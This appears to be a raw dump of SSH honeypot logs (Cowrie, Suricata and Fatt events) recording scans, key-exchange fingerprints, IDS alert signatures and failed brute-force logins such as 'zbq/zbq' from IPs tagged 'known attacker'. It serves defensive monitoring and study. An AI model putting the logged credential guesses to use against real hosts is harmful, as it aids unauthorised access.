36564	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:16:05.043522+03	2021-09-20 15:30:02.438867+03	{"_id": "1QYiA3wBvYTbRNuEg2MD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.173.209.238:47978 (192.168.176.2:22) [session: c4c11c3e9e26]", "session": "c4c11c3e9e26", "@version": "1", "protocol": "ssh", "src_port": 47978, "dest_port": 22, "timestamp": "2021-09-20T12:16:05.043522Z", "@timestamp": "2021-09-20T12:16:05.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
36565	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:16:05.190451+03	2021-09-20 15:30:02.439867+03	{"_id": "1wYiA3wBvYTbRNuEg2MD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c4c11c3e9e26", "@version": "1", "timestamp": "2021-09-20T12:16:05.190451Z", "@timestamp": "2021-09-20T12:16:05.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
36566	107.173.209.238	109.199.241.180	Suricata	2021-09-20 15:16:05.186907+03	2021-09-20 15:30:02.440869+03	{"_id": "2QYiA3wBvYTbRNuEhGMM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "flow_id": 1479669845376406, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47978, "dest_port": 22, "timestamp": "2021-09-20T12:16:05.186907Z", "@timestamp": "2021-09-20T12:16:05.186Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
36567	107.173.209.238	109.199.241.180	Suricata	2021-09-20 15:16:05.190227+03	2021-09-20 15:30:02.442867+03	{"_id": "2gYiA3wBvYTbRNuEhGMM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:16:04.900502+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1479669845376406, "payload": "AAADzAYU/DSMa9cflZuMAsUEWXARMQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47978, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:16:05.190227Z", "@timestamp": "2021-09-20T12:16:05.190Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......4.k........Yp.1...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	US
36568	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:16:06.507726+03	2021-09-20 15:30:02.444869+03	{"_id": "2wYiA3wBvYTbRNuEhmPq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.login.failed", "message": "login attempt [zbq/zbq] failed", "session": "c4c11c3e9e26", "@version": "1", "password": "zbq", "username": "zbq", "timestamp": "2021-09-20T12:16:06.507726Z", "@timestamp": "2021-09-20T12:16:06.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
36569	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:15:58.175603+03	2021-09-20 15:30:02.445868+03	{"_id": "vwYiA3wBvYTbRNuEZ2Oo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 110.137.195.172:22410 (192.168.176.2:22) [session: a1c3f93a17a9]", "session": "a1c3f93a17a9", "@version": "1", "protocol": "ssh", "src_port": 22410, "dest_port": 22, "timestamp": "2021-09-20T12:15:58.175603Z", "@timestamp": "2021-09-20T12:15:58.175Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	ID
36570	110.137.195.172	109.199.241.180	Suricata	2021-09-20 15:15:58.408214+03	2021-09-20 15:30:02.446869+03	{"_id": "wgYiA3wBvYTbRNuEaGOx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:15:57.943564+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1865817469576652, "payload": "AAADzAYU4oNIi0xFbd0hLqEaezZ5FgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 22410, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:15:58.408214Z", "@timestamp": "2021-09-20T12:15:58.408Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........H.LEm.!...{6y....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	\N	ID
36571	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:58.36758+03	2021-09-20 15:30:02.448869+03	{"_id": "xAYiA3wBvYTbRNuEaWO0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46828, "timestamp": "2021-09-20T12:15:58.367580", "@timestamp": "2021-09-20T12:15:58.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36572	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:15:59.423159+03	2021-09-20 15:30:02.449868+03	{"_id": "xwYiA3wBvYTbRNuEa2OQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.login.failed", "message": "login attempt [nadir/nadir] failed", "session": "a1c3f93a17a9", "@version": "1", "password": "nadir", "username": "nadir", "timestamp": "2021-09-20T12:15:59.423159Z", "@timestamp": "2021-09-20T12:15:59.423Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	ID
36573	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:16:00.659177+03	2021-09-20 15:30:02.450867+03	{"_id": "ygYiA3wBvYTbRNuEb2N5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a1c3f93a17a9", "@version": "1", "duration": 2.48100209236145, "timestamp": "2021-09-20T12:16:00.659177Z", "@timestamp": "2021-09-20T12:16:00.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	ID
36574	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 15:16:01.848152+03	2021-09-20 15:30:02.452869+03	{"_id": "ywYiA3wBvYTbRNuEdGNr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:01.848152+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1907538782187800, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:16:01.848152Z", "@timestamp": "2021-09-20T12:16:01.848Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
36575	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:16:04.000414+03	2021-09-20 15:30:02.453867+03	{"_id": "zQYiA3wBvYTbRNuEgGMl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:03.575513+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 888282909493273, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 14255, "timestamp": "2021-09-20T12:16:04.000414Z", "@timestamp": "2021-09-20T12:16:04.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36576	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:05.046921+03	2021-09-20 15:30:02.455869+03	{"_id": "0AYiA3wBvYTbRNuEgWNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.173.209.238", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47978, "timestamp": "2021-09-20T12:16:05.046921", "@timestamp": "2021-09-20T12:16:05.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
